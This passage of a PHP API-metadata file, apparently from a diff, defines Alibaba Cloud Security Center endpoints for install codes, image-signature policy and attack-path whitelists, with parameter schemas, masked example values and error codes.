'[{\\"Namespaces\\":[\\"default\\"],\\"ClusterId\\":\\"c9f5b93a8da8f4341b77***********\\"},{\\"Namespaces\\":[\\"default\\"],\\"ClusterId\\":\\"cc12429dbb8f644f690b0***********\\"}]', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要启用或停用策略。取值：'."\n" + ."\n" + .'- **enabled**：启用防护策略。'."\n" + .'- **disabled**：停用防护策略。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'disabled' => '停用', + 'enabled' => '启用', + ], + 'example' => 'enabled', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的 ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', + 'title' => '修改容器镜像签名安全策略', + ], + 'GetInstallCodeForUuid' => [ + 'summary' => '通过UUID查询指定资产的云安全中心客户端安装码。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '137420', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '需查询客户端安装码的服务器UUID。'."\n" + ."\n\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'eae0b46e-2155-422e-9565-ecc52c69****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '200', + ], + 'InstallCode' => [ + 'description' => '客户端安装码。', + 'type' => 'object', + 'properties' => [ + 'CaptchaCode' => [ + 'description' => '手动安装云安全中心客户端的安装验证码。', + 'type' => 'string', + 'example' => 'AK1W**', + ], + 'ExpiredDate' => [ + 'description' => '安装验证码有效日期。格式为13位时间戳。'."\n" + .'>安装验证码只有在有效期内才能使用。过期的安装验证码无法使用。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723860871689', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '342710', + ], + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'TestGroup', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + ."\n" + .'- **linux**：Linux'."\n" + ."\n" + .'- **windows**：Windows', + 'type' => 'string', + 'example' => 'linux', + ], + 'VendorName' => [ + 'description' => '服务器供应商的名称。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + ], + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"Code\\": 200,\\n \\"Message\\": \\"successful\\",\\n \\"HttpStatusCode\\": 200,\\n \\"InstallCode\\": {\\n \\"CaptchaCode\\": \\"AK1W**\\",\\n \\"ExpiredDate\\": 1723860871689,\\n \\"GroupId\\": 342710,\\n \\"GroupName\\": \\"TestGroup\\",\\n \\"Os\\": \\"linux\\",\\n \\"VendorName\\": \\"ALIYUN\\"\\n },\\n \\"Success\\": true\\n}","type":"json"}]', + 'title' => '通过UUID查询指定资产的客户端安装码', + ], + 'UpdateAttackPathWhitelist' => [ + 'summary' => '更新攻击路径白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226519', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AttackPathAssetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域 ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例所属区域 ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **start**：起点。'."\n" + .'- **end**：终点。', + 'type' => 'string', + 'required' => false, + 'example' => 'start', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PathType', + 'in' => 'query', + 'schema' => [ + 'description' => '路径类型。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'role_escalation', + ], + ], + [ + 'name' => 'PathName', + 'in' => 'query', + 'schema' => [ + 'description' => '路径名称。'."\n" + ."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + ], + [ + 'name' => 'WhitelistType', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单类型。取值：'."\n" + ."\n" + .'- **ALL_ASSET**：全部资产'."\n" + .'- **PART_ASSET**：部分资产', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL_ASSET', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'AttackPathWhitelistId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击路径白名单ID。'."\n" + .'> 您可以调用[ListAttackPathWhitelist](~~ListAttackPathWhitelist~~)查询攻击路径白名单ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', + ], + ], + [ + 'name' => 'WhitelistName', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', + 'title' => '更新攻击路径白名单', + ], + 'DeleteAttackPathWhitelist' => [ + 'summary' => '删除攻击路径白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226531', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AttackPathWhitelistId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击路径白名单ID。'."\n" + .'> 您可以调用[ListAttackPathWhitelist](~~ListAttackPathWhitelist~~)查询攻击路径白名单ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', + 'title' => '删除攻击路径白名单', + ], + 'DeleteAttackPathSensitiveAssetConfig' => [ + 'summary' => '删除攻击路径敏感资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226508', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AttackPathSensitiveAssetConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击路径敏感资产设置ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'apsac-123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', + 'title' => '删除攻击路径敏感资产设置', + ], + 'ListSupportAttackPathAsset' => [ + 'summary' => '查询攻击路径支持的云产品资产类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '227643', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'tenant', + ], + 'parameters' => [ + [ + 'name' => 'SupportType', + 'in' => 'query', + 'schema' => [ + 'description' => '支持类型，取值：'."\n" + .'- **event**：攻击路径告警事件。'."\n" + .'- **whitelist**：攻击路径白名单。'."\n" + .'- **sensitive**：攻击路径敏感资产。', + 'type' => 'string', + 'required' => true, + 'example' => 'event', + ], + ], + [ + 'name' => 'NodeType', + 'in' => 'query', + 'schema' => [ + 'description' => '节点类型，取值：'."\n" + .'- **start**：起点。'."\n" + .'- **end**：终点。', + 'type' => 'string', + 'required' => false, + 'example' => 'end', + ], + ], + [ + 'name' => 'PathType', + 'in' => 'query', + 'schema' => [ + 'description' => '路径类型。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'role_escalation', + ], + ], + [ + 'name' => 'PathName', + 'in' => 'query', + 'schema' => [ + 'description' => '路径名称。'."\n" + ."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48***', + ], + 'AttackPathAssetTypeList' => [ + 'description' => '攻击路径云产品资产类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产类型。', + 'type' => 'object', + 'properties' => [ + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '13', + ], + 'Vendor' => [ + 'description' => '云产品资产的厂商。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48***\\",\\n \\"AttackPathAssetTypeList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 13,\\n \\"Vendor\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询攻击路径支持的云产品资产类型', + ], + 'GetAttackPathWhitelist' => [ + 'summary' => '查询攻击路径白名单详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226516', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AttackPathWhitelistId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击路径白名单ID。'."\n" + .'> 您可以调用[ListAttackPathWhitelist](~~ListAttackPathWhitelist~~)查询攻击路径白名单ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'AttackPathWhitelist' => [ + 'description' => '攻击路径白名单。', + 'type' => 'object', + 'properties' => [ + 'AttackPathAssetList' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'object', + 'properties' => [ + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InstanceId' => [ + 'description' => '云产品资产实例ID。', + 'type' => 'string', + 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'xwl', + ], + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **start**：起点。'."\n" + .'- **end**：终点。', + 'type' => 'string', + 'example' => 'start', + ], + ], + ], + ], + 'AttackPathWhitelistId' => [ + 'description' => '攻击路径白名单ID。', + 'type' => 'string', + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****'."\n", + ], + 'LastModifiedTimestamp' => [ + 'description' => '最新修改时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1743004587000', + ], + 'PathName' => [ + 'description' => '路径名称。', + 'type' => 'string', + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + 'PathType' => [ + 'description' => '路径类型。', + 'type' => 'string', + 'example' => 'role_escalation', + ], + 'Remark' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'WhitelistType' => [ + 'description' => '白名单类型。取值：'."\n" + ."\n" + .'- **ALL_ASSET**：全部资产'."\n" + .'- **PART_ASSET**：部分资产', + 'type' => 'string', + 'example' => 'ALL_ASSET', + ], + 'WhitelistName' => [ + 'description' => '白名单名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"AttackPathWhitelist\\": {\\n \\"AttackPathAssetList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 1,\\n \\"InstanceId\\": \\"i-8vb0e8qdaj0yyxjo****\\\\n\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Vendor\\": 0,\\n \\"InstanceName\\": \\"xwl\\",\\n \\"NodeType\\": \\"start\\"\\n }\\n ],\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\\\n\\",\\n \\"LastModifiedTimestamp\\": 1743004587000,\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"Remark\\": \\"test\\",\\n \\"WhitelistType\\": \\"ALL_ASSET\\",\\n \\"WhitelistName\\": \\"test\\"\\n }\\n}","type":"json"}]', + 'title' => '查询攻击路径白名单详情', + ], + 'ListAttackPathWhitelist' => [ + 'summary' => '查询攻击路径白名单列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226514', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'PathType', + 'in' => 'query', + 'schema' => [ + 'description' => '路径类型。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'role_escalation', + ], + ], + [ + 'name' => 'PathNameDesc', + 'in' => 'query', + 'schema' => [ + 'description' => '路径名称描述。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径名称描述。', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', + ], + ], + [ + 'name' => 'WhitelistName', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', + ], + 'AttackPathWhitelistList' => [ + 'description' => '攻击路径白名单列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径白名单。', + 'type' => 'object', + 'properties' => [ + 'AttackPathWhitelistId' => [ + 'description' => '攻击路径白名单ID。', + 'type' => 'string', + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', + ], + 'LastModifiedTimestamp' => [ + 'description' => '最新修改时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1731897750000', + ], + 'PathName' => [ + 'description' => '路径名称。', + 'type' => 'string', + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + 'PathType' => [ + 'description' => '路径类型。', + 'type' => 'string', + 'example' => 'role_escalation', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'test', + ], + 'WhitelistType' => [ + 'description' => '白名单类型。', + 'type' => 'string', + 'example' => 'PART_ASSET', + ], + 'WhitelistName' => [ + 'description' => '白名单名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '返回数据每页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '49', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"AttackPathWhitelistList\\": [\\n {\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\",\\n \\"LastModifiedTimestamp\\": 1731897750000,\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"Remark\\": \\"test\\",\\n \\"WhitelistType\\": \\"PART_ASSET\\",\\n \\"WhitelistName\\": \\"test\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"Count\\": 20,\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 49\\n }\\n}","type":"json"}]', + 'title' => '查询攻击路径白名单列表', + ], + 'CreateAttackPathWhitelist' => [ + 'summary' => '创建攻击路径白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226510', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AttackPathAssetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域 ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例所属区域 ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **start**：起点。'."\n" + .'- **end**：终点。', + 'type' => 'string', + 'required' => false, + 'example' => 'start', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PathType', + 'in' => 'query', + 'schema' => [ + 'description' => '路径类型。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'role_escalation', + ], + ], + [ + 'name' => 'PathName', + 'in' => 'query', + 'schema' => [ + 'description' => '路径名称。'."\n" + ."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + ], + [ + 'name' => 'WhitelistType', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单类型。取值：'."\n" + ."\n" + .'- 